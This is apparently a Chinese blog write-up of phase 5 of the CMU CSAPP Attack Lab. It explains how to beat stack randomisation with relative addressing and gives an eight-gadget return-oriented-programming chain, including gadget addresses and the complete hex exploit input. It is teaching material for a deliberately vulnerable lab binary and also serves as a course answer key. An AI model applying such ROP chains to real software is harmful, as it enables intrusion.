CSAPP Attack Lab-phase_

时间:2024-09-30 07:35:17

最后 phase_5 的 gadget 构造非常复杂(官解是用了 8 个),在 CMU 的实验中也是属于选做的部分,完成前四个已经有 95 分了,因此这里也只介绍一些问题和思路。

前面提到,rtarget 引入了栈随机化,这会带来的问题是:在指定参数 sval 时,无法显式地指定地址,而需要依靠间接寻址,即栈指针 %rsp 加上一个相较于它的偏移量。我们可以先确定哪条指令根据栈指针的值计算字符串参数,记录下它的位置和字符串存放位置的偏移量,作为数据一并存入栈中,后续再取出进行计算。

以下是一种正确的 gadget 实现:

# gadget1
00000000004019ab <addval_219 + 4>:
58  pop %rax
90  nop
c3  ret

# gadget2
00000000004019dd <getval_481 + 2>:
89 c2   movl %eax,%edx
90		nop
c3		ret

# gadget3
0000000000401a69 <getval_481 + 1>:
89 d1   movl %edx,%ecx
08 db	orb  %bl,%bl
c3		ret

# gadget4
0000000000401a13 <addval_436 + 2>:
89 ce   movl %ecx,%esi
90		nop
90		nop
c3		ret

# gadget5
0000000000401aad <setval_350 + 2>:
48 89 e0  movq %rsp,%rax
90		  nop
c3		  ret

# gadget6
00000000004019a2 <addval_273 + 2>:
48 89 c7  movq %rax,%rdi
c3		  ret

# gadget7
00000000004019d6 <add_xy>:
48 8d 04 37  lea  (%rdi,%rsi,1),%rax
c3			 ret

# gadget8
00000000004019a2 <addval_273 + 2>:
48 89 c7  movq %rax,%rdi
c3		  ret

攻击数据的构造和 phase_4 很类似,就不过多赘述了。

3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
3f 3f 3f 3f 3f 3f 3f 3f
ab 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00